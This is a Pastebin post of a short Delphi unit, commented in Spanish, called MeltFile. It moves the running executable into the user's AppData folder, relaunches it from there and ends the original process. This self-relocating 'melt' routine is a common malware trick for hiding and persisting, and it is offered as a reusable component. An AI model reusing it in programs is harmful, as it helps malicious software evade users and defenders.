Fakedo0r

MeltFile

Apr 11th, 2012
95
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
Delphi 2.34 KB | None | 0 0
  1. //******************************************************************************
  2. //* UNIT:         UNT_MeltFile
  3. //* AUTOR:        Fakedo0r
  4. //* CORREO:       [email protected]
  5. //* BLOG:         Sub-Soul.blogspot.com
  6. //* FECHA:        12.04.2012
  7. //* USO:          MeltFile('prueba.exe');
  8. //******************************************************************************
  9. Unit UNT_MeltFile;
  10. //******************************************************************************
  11. //DECLARACION LIBRERIAS / CLASES
  12. //******************************************************************************
  13. Interface
  14.  
  15. Uses
  16.   Sysutils, Messages, Windows, ShlObj, ShellAPI;
  17. //******************************************************************************
  18. //DECLARACION DE FUNCIONES / PROCEDIMIENTOS
  19. //******************************************************************************
  20. Function MeltFile(sFileName: String): Bool;
  21. Function GetSpecialFolderA(iCSIDL: Integer):String;
  22. //******************************************************************************
  23. Implementation
  24. //******************************************************************************
  25. //<--- OBTIENE LAS RUTAS ESPECIALES --->
  26. //******************************************************************************
  27. Function GetSpecialFolderA(iCSIDL: Integer): string;
  28. Var
  29.    pszPath: PChar;
  30.    iRet:    Integer;
  31.    tIDL:    PItemIDList;
  32. Begin
  33.   GetMem(pszPath, MAX_PATH);
  34.   iRet := SHGetSpecialFolderLocation(0, iCSIDL, tIDL);
  35.  
  36.   If iRet = NOERROR Then
  37.   Begin
  38.     SHGetPathFromIDList(tIDL, pszPath);
  39.     GetSpecialFolderA := String(pszPath);
  40.   End;
  41.  
  42.   FreeMem(pszPath);
  43. End;
  44. //******************************************************************************
  45. //<--- MELTFILE --->
  46. //******************************************************************************
  47. Function MeltFile(sFileName: String): Bool;
  48. Var
  49.   sOldPath:   String;
  50.   sDestPath:  String;
  51. Begin
  52.   Result := True;
  53.   sOldPath := ParamStr(0);
  54.  
  55.   If sFileName = '' Then
  56.   Begin
  57.      Result := False;
  58.      Exit;
  59.   End;
  60.  
  61.   sDestPath := GetSpecialFolderA(CSIDL_APPDATA) + '\' + sFileName;
  62.  
  63.   If sOldPath <> sDestPath Then
  64.   Begin
  65.     DeleteFile(PChar(sOldPath));
  66.     MoveFileEx(PChar(sOldPath), PChar(sDestPath), MOVEFILE_REPLACE_EXISTING);
  67.     ShellExecute(0 , Nil, PChar(sDestPath), '', '', SW_SHOW);
  68.     ExitProcess(0);
  69.   End;
  70. End;
  71.  
  72. End.
Advertisement
Add Comment
Please, Sign In to add comment